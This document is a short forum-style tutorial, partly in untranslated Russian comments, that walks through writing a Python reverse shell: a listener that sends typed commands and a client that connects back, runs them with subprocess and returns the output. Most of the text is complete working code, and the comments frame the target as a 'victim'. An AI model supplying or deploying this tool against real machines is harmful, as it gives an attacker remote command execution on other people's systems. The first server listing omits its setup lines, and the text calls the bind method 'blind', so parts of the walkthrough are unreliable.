
Hello everyone. I offer you a short article on how to write a fast Reverse Shell in the Python programming language.
Let's start by connecting the libraries we need.
subprocess, socket
Writing the server part
Python:
We tell the socket that we will work via the TCP protocol (this is a more reliable connection).
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Затем создадим бесконечный цикл, для того чтобы наша программа не завершилась после первой команды.
# Принимаем строковое значение.
while True:
command = input('Enter command: ')
# Отправляем команду клиенту в закодированом виде.
client.send(command.encode())
# Создадим ещё команду exit, если мы уже достаточно напакостили и хотим выйти.
if command.lower() == 'exit':
break
# Создаём переменную для получения результата от жертвы и декодируем её.
result_output = client.recv(4096).decode()
# И выводим с помощью print.
print(result_output)
# Теперь закрываем все подключения.
client.close()
s.close()
Python:
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('127.0.0.1', 8888))
s.listen(5)
client, addr = s.accept()
while True:
command = input('Enter command: ')
client.send(command.encode())
if command.lower() == 'exit':
break
result_output = client.recv(4096).decode()
print(result_output)
client.close()
s.close()
Client side:
Python:
# Writing the client part
# Here we need to add another library, namely subprocess, it will allow us to execute commands.
Python:
import subprocess
# We also tell the script that we will work via TCP.
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Now we initialize the connection to the server part of the script.
s.connect(('127.0.0.1', 8888))
# We will create a while True loop in which the script will wait for commands from the server and decode them.
while True:
command = s.recv(4096).decode()
# We will also create a condition for exiting.
if command.lower() == 'exit':
break
# Finally, the output and sending of the output from the client.
output = subprocess.getoutput(command)
s.send(output.encode())
# Close the socket.
s.close()
Python:
import socket
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 8888))
while True:
command = s.recv(4096).decode()
if command.lower() == 'exit':
break
output = subprocess.getoutput(command)
s.send(output.encode())
s.close()
Note that in the connect and blind methods I use 2 brackets, because this is a tuple.

Success